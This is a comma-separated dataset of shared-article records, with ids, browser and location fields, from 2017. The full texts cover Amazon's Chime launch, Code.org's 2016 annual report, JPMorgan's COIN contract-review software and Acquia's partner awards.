1487947067,CONTENT SHARED,-3295913657316686039,6960073744377754728,-8193630595542572738,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",GA,US,HTML,https://thenextweb.com/apps/2017/02/14/amazon-takes-on-skype-and-gotomeeting-with-its-chime-video-conferencing-app/,Amazon takes on Skype and GoToMeeting with its Chime video conferencing app,"Amazon has launched Chime, a video conferencing and chat service that promises less shitty remote meetings and group calls. Aimed at business users and available for Windows , Mac, Android and iOS , Chime lets you hold video chats with up to 16 people on your desktop or 8 people on mobile devices; participants can also share their screens and files, record meetings (voice video and shared files are included) and even dial in to a meeting with a standard phone line. The company says that its new app is totally secure, thanks to 256-bit encryption that's used across Amazon Web Services products; it also boasts noise-cancelling wideband technology for clear audio. With that, Amazon is ready to take on rival conference services like Microsoft's Skype for Business and Citrix's GoToMeeting . Chime is competitively priced at $2.50 per user per month for the Plus plan, while the Pro plan that allows meetings with up to 100 people costs $15 per user each month. For comparison, GoToMeeting will set you back by $19 a month for 10 participants, and $49 per month for 100 users. Skype for Business is bundled with Microsoft's Office 365 online productivity suite and starts at $5 per user per month for a basic package of apps; the full bundle costs $12.50 per user per month. If you're having a hard time deciding on which tool to go with, be sure to check out Zapier's new roundup of video conferencing tools that pits Chime against 11 other options. You can give Chime a go right now by selecting the free tier that allows calls between just two people, or a 30-day trial of the Pro plan, no credit card required. Read next: Autonomous passenger drones will fly you across Dubai starting this July",en
1488223224,CONTENT SHARED,3618271604906293310,1908339160857512799,-183341653743161643,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.74 Safari/537.36",SP,BR,HTML,https://code.org/about/2016,Code.org 2016 Annual Report,"February 9, 2017 - We begin each year with a look at the K-12 computer science landscape - whether the direct impact of Code.org and our partners, or the indirect and sometimes unrelated impact of other global efforts that share our vision. It's been three and a half years since Code.org hired our first employee. We've been humbled to watch the world's education system embrace computer science, at an ever-accelerating pace. During this short time, 11 countries, 31 U.S. states, and over 120 U.S. cities and school districts have announced efforts to expand access to computer science as part of the K-12 curriculum; the new Advanced Placement (AP) Computer Science Principles course has launched in over 2,000 classrooms; over 50,000 U.S. teachers have attended workshops to begin teaching computer science; over 500,000 teachers globally have begun teaching computer science classes to over 16 million students; diversity in computer science classrooms has improved for two years in a row; the Hour of Code has surpassed 350 million served - reaching one out of every 10 students on the planet; and 8 Presidents and Prime Ministers have hosted events to inspire millions more to join this teacher-powered movement. To be clear, this isn't the work of Code.org alone. We've had the support of hundreds of partners , and hundreds of thousands of educators, globally. Many of them began this work years before we existed. The international momentum is led by partners who share our mission in other countries. And in the U.S., this movement has had the bipartisan support of the federal government as well as most state governments. Our largest donors - Microsoft, Facebook, Google, Infosys, and Omidyar Network - deserve special recognition for funding not only Code.org but also the other nonprofits working towards the same goal, globally. We are thankful for all the efforts that share our mission. When we launched Code.org in 2013, it seemed impossible to change the entire education system. Although we still have a long way to go, 2016 was yet another record year, making us more confident than ever in our ability to realize our vision - that every student in every school should have the opportunity to learn computer science. Inspire students and increase diversity with the Hour of Code 20 million served 90M 48% female 195M 49% female 344M 49% female Enable students to show ""basic coding proficiency"" with CS Fundamentals. N/A N/A N/A 887,840 total 365,842 female Improve diversity in CS (measured among students on Code Studio) N/A 43% female, 37% African American or Hispanic 43% female, 37% African American or Hispanic 45% female, 48% underrepresented minorities , 47% free/reduced meal plans Lead a coalition to set policies supporting CS. Policies changed in: 5 states 16 states 17 states, including $9M in CS funding 31 states , including $13M in CS funding Addressing diversity in K-12 computer science is core to our mission. We all know the technology sector as a whole has a diversity problem , caused by a variety of factors. Our focus is on one piece of the problem, the education pipeline, where historically only 20~25% of students are female, and 13~15% are underrepresented minorities. By contrast, the students across Code.org classrooms are far more balanced across gender, race, and also socioeconomic status. This is partly because teachers integrate our courses into classrooms that are already diverse, and partly because we incorporate a focus on diversity throughout our work . For example, we published a study of 8,000 students who took a survey right before and after trying our tutorials. Among female high school students, the number who agreed with the statement ""I like computer science"" jumped from 55% to 75% from just one session of using Code.org's Hour of Code activities. As another example, consider our Computer Science Principles course, designed for the new AP Computer Science exam. Traditionally, AP Computer Science is dominated by white and Asian males, with at most 15% underrepresented minorities. In our 512 classrooms, 49% of the students are underrepresented minorities - which adds up to more students than the entire nation's AP computer science exam participation in 2016. (Side note: 53% of Code.org's staff are women. Our board and leadership team are gender-balanced.) In the 3 years since we launched our Code Studio coding platform, 1/10 of all students on the planet have engaged in our computer science courses, making Code Studio the most broadly used curriculum in computer science. Of course, millions of these students are ""drive-by"" users. What matters more to us is how many teachers incorporate our lessons into their classrooms, and what their students learn. Example high school classroom project, using turtle-drawing commands Measuring by registered students, registered teachers, or monthly activity, Code Studio has doubled in scale in the last 12 months. But instead of measuring logins or page-views, in the last year, we embarked on creating a new metric of success. We began counting students who demonstrate ""basic coding proficiency"" in our CS Fundamentals course using a definition which we created based on student success at coding challenges. The chart below shows how many students demonstrated this proficiency at different levels of difficulty. (This is our first stab at measuring student proficiency, and we have a lot of work to improve it.) The secret behind our growth is simple: teachers recommend our courses to other teachers. One way to measure this is with the Net Promoter methodology : we score 85 among teachers, which is outstanding. This high score is supported by the testimonials we hear from teachers in classrooms. In the 2016-17 school year, we formally launched our App Lab app-making tool, and began scaling our new College Board endorsed Computer Science Principles course to prepare for a new AP exam. Computer science is already the fastest-growing AP course offered by the College Board, having almost doubled since Code.org launched. With this year's new exam, 2017 is poised to be its biggest year yet. There are 2,600 schools participating in the new exam, according to the College Board audit. Among schools using College Board endorsed curricula, 55% are using Code.org's CS Principles course. More than 75,000 students have interacted with our CS Principles course this school year. Our focus is the 512 classrooms of teachers in our professional learning program. These classrooms have 18,615 students enrolled, of which 5,721 are female students, and 9,083 are underrepresented minorities. If these students all take the exam, we have the opportunity to double the number of underrepresented minorities in AP computer science in just one year. In 2016 Code.org's professional learning and school outreach programs accelerated in every dimension. We hosted 4 large professional learning conferences for educators, with stellar feedback. And we grew our network of regional partners and expert facilitators - this network will provide the backbone for the future growth of K-12 computer science. 52,000 computer science teachers prepared by Code.org Our professional learning network: over 40 regional partners, 400 expert facilitators And above all, across all our programs, we passed a new milestone: 52,000 computer science teachers have been prepared by Code.org. Most of these are elementary school teachers who will begin teaching 10-20 hours of computer science per year. But thousands of them are high school teachers teaching a year-long computer science class. More importantly, the feedback from our professional learning workshops is uniformly fantastic. The vast majority of teachers attending these workshops rank them the ""best professional development"" they've ever experienced. This is partly because America's teachers want to learn and teach computer science, and partly because of the amazing passion of our expert facilitators. While most of Code.org's staff and resources are focused on implementing computer science programs in schools, we have a small, crack team working on changing government policies to support, expand, and sustain K-12 computer science. This effort wouldn't be possible without our coalition partners (especially Microsoft and the College Board), and our many local champions deserve the real credit for driving local change. Our state policy work focuses on 9 ideas we urge every state to consider . Below, we highlight our impact across 3 of these that are easiest to measure. Policy area Policy changed since 2013 High school graduation policy States that have changed policies to allow rigorous CS courses to satisfy core high school graduation requirements AL, AZ, AR, CA, CO, FL, ID, IL, KY, LA, MD, MN, NH, NJ, NY, OH, PA, TN, VA, WA, WV, WI Establishing state-level standards for CS States that have developed or are in the process of developing state education standards for computer science AR, CA, CO, FL, ID, IN, MA, NJ, SC, TX, VA, WA, WI, and WV. States that are evaluating developing standards: AL, DE, MD, MT, OK, and RI. Funding for CS States that have allocated funding specifically to K-12 computer science AR, AZ, GA, ID, MA, RI, UT, VA, WA. These states have allocated $13.01M in total Throughout 2016 we saw growing momentum for computer science among local governments beyond just the policy measures listed above. Chicago Public Schools became the first major school district to make computer science a graduation requirement for all students. The US Conference of Mayors proposed a resolution (sponsored by the mayors of New York, Los Angeles, Chicago, San Francisco, and Baltimore) to expand computer science in schools. Last but not least, we launched the Governors for CS partnership, bringing together the governors of Arkansas, Washington, Rhode Island, Iowa, Virginia, Idaho, and Nevada to build plans for K-12 computer science with more governors to join in 2017. After over a year of work by fourteen states and four school districts, dozens of writers and advisors, and leaders in corporate, nonprofit, and education sectors, the K-12 Computer Science Framework was launched in October with broad support . The framework offers a set of guidelines that could be used to inform the development of standards, curriculum, and computer science pathways, and also help school systems build capacity for teaching computer science. The impact of all the experts and organizations who came together to create the Framework will be felt for years to come. In December, we hosted 22 state teams to plan implementation work, and we will continue similar convenings to build on the momentum. In addition, in 2016, ETS announced it will create a new Praxis exam for credentialing teachers in computer science, and Pearson is working on a similar exam - both informed by the Framework. 2016 was the biggest year ever for the Hour of Code , which has now surpassed 350 million ""served."" This year, Code.org handed important reins of the campaign to the education community: We gave a committee and review board the responsibility of setting the guidelines and rating the recommended activities . Hundreds of global nonprofits, corporations, and government agencies supported the campaign. From the new tutorials launched by Disney, Microsoft, and Google, to the activities and promotions hosted at Facebook offices and Apple stores, to the thousands of industry volunteers from other companies, the collaboration was amazing. Our own web site hummed along more smoothly than ever, thanks to the support of Amazon Web Services. The global campaign was launched by Canadian Prime Minister Justin Trudeau . And the world's greatest athletes supported this year's Hour of Code with a special inspirational video for students. Presidents and prime ministers rally around the Hour of Code Eight presidents and prime ministers around the world have now hosted symbolic events to inspire students and educators to try computer science. The global Hour of Code campaign has established Computer Science Education Week as a fixture in hundreds of thousands of schools, each year recruiting tens of millions of new students and hundreds of thousands of teachers to try computer science. The work of our global partners has also helped build global momentum for computer science. In 2016, Japan, Malaysia, New Zealand, Ireland, British Columbia, and Nova Scotia followed the lead set by UK, South Korea, Saudi Arabia, Argentina, Australia, and Italy to announce plans to integrate computer science into national curriculum. (See status of global CS efforts ) Last but certainly not least, the biggest headline in computer science in 2016 was the Obama administration's announcement of Computer Science for All . The President announced that ""in the new economy, computer science isn't an optional skill, it's a basic skill."" The announcement was coupled with a $4 billion proposal for Federal funding. Although the headline funding of CS for All didn't pan out, the bully pulpit played an important role to accelerate this movement. The White House helped amplify and celebrate the work of the computer science community, and President Obama's personal support for Code.org has been invaluable to the movement's international growth. Local efforts such as CS4RI , CS4NH , CS4TX have sprung up in response and will serve as new rallying cries for the movement. Meanwhile, Congress unanimously authorized long-term NSF funding for computer science research which has provided foundational guidance and support to many efforts in the space. NSF funding has established new CS courses in hundreds of classrooms: 5~10% of all new CS teachers prepared this decade were funded by the NSF, and ~19% of all AP CS Principles teachers are teaching NSF-funded curricula. We're thankful to the bipartisan leadership of the Representatives and Senators who supported continuing this work. Of course, together with the new CS Education Coalition , we will continue advocating for federal funding for computer science. Although most of the last few years' progress to expand computer science in U.S. schools have been funded by private donors and state governments, an injection of federal funding would greatly accelerate these efforts. Code.org recently penned a memo for the Trump administration laying out a very simple case: In 2016, Fortune 500 CEOs, 27 governors, and top education leaders joined forces to call for federal funding to address this. In 2017, thanks to the leadership of champions from both parties, we are as hopeful as ever that this goal is within reach. With yet another year of growth, we are more confident than ever in the strength and momentum behind the computer science movement, not just in the United States, but globally. Hundreds of thousands of worldwide educators have decided that every student in every school deserves the opportunity to learn computer science. The strength of this movement lies in the inspirational commitment of these teachers and educators. The nonprofits, philanthropists, and local governments who support them will continue and even accelerate our work in 2017 and beyond. Hadi Partovi, Code.org Finances For calendar year 2016 our total expenses were approximately* $19.3 million. The chart below paints a general picture of how this money was spent. *Important note: The information above is not based on audited financials. The table below shows the total cost breakdown of our headline achievements since founding. Areas of effort / Achievements in 2013 - 2016 Fully-loaded cost (including admin) Marketing: Hour of Code campaign, 350M served, reaching 10% of students globally, with events in 196 countries. 48% female participation $8 million Curriculum + Code Studio learning platform: ~300 hours of coursework created, 500,000 teacher accounts. 16 million student accounts. 45% female, 48% underrepresented minorities $14.2 million Partnership + professional learning: 41 regional partners and 400 facilitators who have prepared 52,000 new CS teachers across grades K-12. ($6.8M spent on grades K-5, $13.2M on grades 6-12) $20 million Government affairs: Policies changed in 31 states, $13M in state budgets allocated to CS, 3 Federal bills recognize CS. $3.3 million TOTAL SPENT (2013-2016) $45.5 million Other reports Our generous donors We are supported by philanthropic donations from corporations, foundations, and generous individuals. Code.org is a public 501c3. All donations to Code.org are tax-deductible, and matched 50%. Please consider a donation Platinum Supporters ($3,000,000+ contribution) Gold Supporters ($1,000,000+ contribution) Silver Supporters ($500,000+ contribution) Bronze Supporters ($100,000+ contribution) Supporters ($25,000+ contribution) Craig Silverstein and Mary Obelnicki Microsoft Alumni Foundation Motorola Solutions Foundation Nick and Leslie Hanauer Foundation View all other supporters",en
1488300719,CONTENT SHARED,6607431762270322325,-1393866732742189886,2367029511384577082,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://www.bloomberg.com/news/articles/2017-02-28/jpmorgan-marshals-an-army-of-developers-to-automate-high-finance,"JPMorgan Software Does in Seconds What Took Lawyers 360,000 Hours","At JPMorgan Chase & Co., a learning machine is parsing financial deals that once kept legal teams busy for thousands of hours. The program, called COIN, for Contract Intelligence, does the mind-numbing job of interpreting commercial-loan agreements that, until the project went online in June, consumed 360,000 hours of lawyers' time annually. The software reviews documents in seconds, is less error-prone and never asks for vacation. Photographer: Kholood Eid/Bloomberg While the financial industry has long touted its technological innovations, a new era of automation is now in overdrive as cheap computing power converges with fears of losing customers to startups. Made possible by investments in machine learning and a new private cloud network, COIN is just the start for the biggest U.S. bank. The firm recently set up technology hubs for teams specializing in big data, robotics and cloud infrastructure to find new sources of revenue, while reducing expenses and risks. The push to automate mundane tasks and create new tools for bankers and clients -- a growing part of the firm's $9.6 billion technology budget -- will be a theme as the company hosts its annual investor day on Tuesday. Behind the strategy, overseen by Chief Operating Operating Officer Matt Zames and Chief Information Officer Dana Deasy, is an undercurrent of anxiety: Though JPMorgan emerged from the financial crisis as one of few big winners, its dominance is at risk unless it aggressively pursues new technologies, according to interviews with a half-dozen bank executives. Redundant Software That was the message Zames had for Deasy when he joined the firm from BP Plc in late 2013. The New York-based bank's internal systems, an amalgam from decades of mergers, had too many redundant software programs that didn't work together seamlessly. ""Matt said, 'Remember one thing above all else: We absolutely need to be the leaders in technology across financial services,'"" Deasy said last week in an interview. ""Everything we've done from that day forward stems from that meeting."" A QuickTake explainer on fintech After visiting companies including and three years ago to understand how their developers worked, the bank set out to create its own computing cloud called Gaia that went online last year. Machine learning and big-data efforts now reside on the private platform, which effectively has limitless capacity to support their thirst for processing power. The system already is helping the bank automate some coding activities and making its 20,000 developers more productive, saving money, Zames said. When needed, the firm can also tap into outside cloud services from , and . Tech Spending JPMorgan will make some of its cloud-backed technology available to institutional clients later this year, allowing firms like to access balances, research and trading tools. The move, which lets clients bypass salespeople and support staff for routine information, is similar to one announced in 2015. JPMorgan's total technology budget for this year amounts to 9 percent of its projected revenue -- double the industry average, according to Morgan Stanley analyst Betsy Graseck. The dollar figure has inched higher as JPMorgan bolsters cyber defenses after a 2014 data breach, which exposed the information of 83 million customers. Photographer: Kholood Eid/Bloomberg One-third of the budget is for new initiatives, a figure Zames wants to take to 40 percent in a few years. He expects savings from automation and retiring old technology will let him plow even more money into new innovations. Not all of those bets, which include several projects based on a distributed ledger, like blockchain, will pay off, which JPMorgan says is OK. One example executives are fond of mentioning: The firm built an electronic platform to help trade credit-default swaps that sits unused. 'Can't Wait' ""We're willing to invest to stay ahead of the curve, even if in the final analysis some of that money will go to product or a service that wasn't needed,"" Marianne Lake, the lender's finance chief, told a conference audience in June. That's ""because we can't wait to know what the outcome, the endgame, really looks like, because the environment is moving so fast."" As for COIN, the program has helped JPMorgan cut down on loan-servicing mistakes, most of which stemmed from human error in interpreting 12,000 new wholesale contracts per year, according to its designers. JPMorgan is scouring for more ways to deploy the technology, which learns by ingesting data to identify patterns and relationships. The bank plans to use it for other types of complex legal filings like credit-default swaps and custody agreements. Someday, the firm may use it to help interpret regulations and analyze corporate communications. Another program called X-Connect, which went into use in January, examines e-mails to help employees find colleagues who have the closest relationships with potential prospects and can arrange introductions. Creating Bots For simpler tasks, the bank has created bots to perform functions like granting access to software systems and responding to IT requests, such as resetting an employee's password, Zames said. Bots are expected to handle 1.7 million access requests this year, doing the work of 140 people. Photographer: Kholood Eid/Bloomberg While growing numbers of people in the industry worry such advancements might someday take their jobs, many Wall Street personnel are more focused on benefits. A survey of more than 3,200 financial professionals by recruiting firm Options Group last year found a majority expect new technology will improve their careers, for example by improving workplace performance. Click here for Options Group's survey on technology's impact ""Anything where you have back-office operations and humans kind of moving information from point A to point B that's not automated is ripe for that,"" Deasy said. ""People always talk about this stuff as displacement. I talk about it as freeing people to work on higher-value things, which is why it's such a terrific opportunity for the firm."" To help spur internal disruption, the company keeps tabs on 2,000 technology ventures, using about 100 in pilot programs that will eventually join the firm's growing ecosystem of partners. For instance, the bank's machine-learning software was built with , a software firm that JPMorgan first encountered in 2009. ""We're starting to see the real fruits of our labor,"" Zames said. ""This is not pie-in-the-sky stuff.""",en
1488307871,CONTENT SHARED,4109618890343020064,3891637997717104548,-7416795577834806518,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://www.acquia.com/blog/partner/2017-acquia-partners-year/27/02/2017/3301771,The 2017 Acquia Partners of the Year,The Acquia Partner Awards Program is comprised of two categories across our four global regions: Partners of the Year and Growth Partners of the Year. The Acquia Partner Awards recognize outstanding contributions from our partners over the course of 2016 both in the overall business performance category as well as growth from the previous year.,en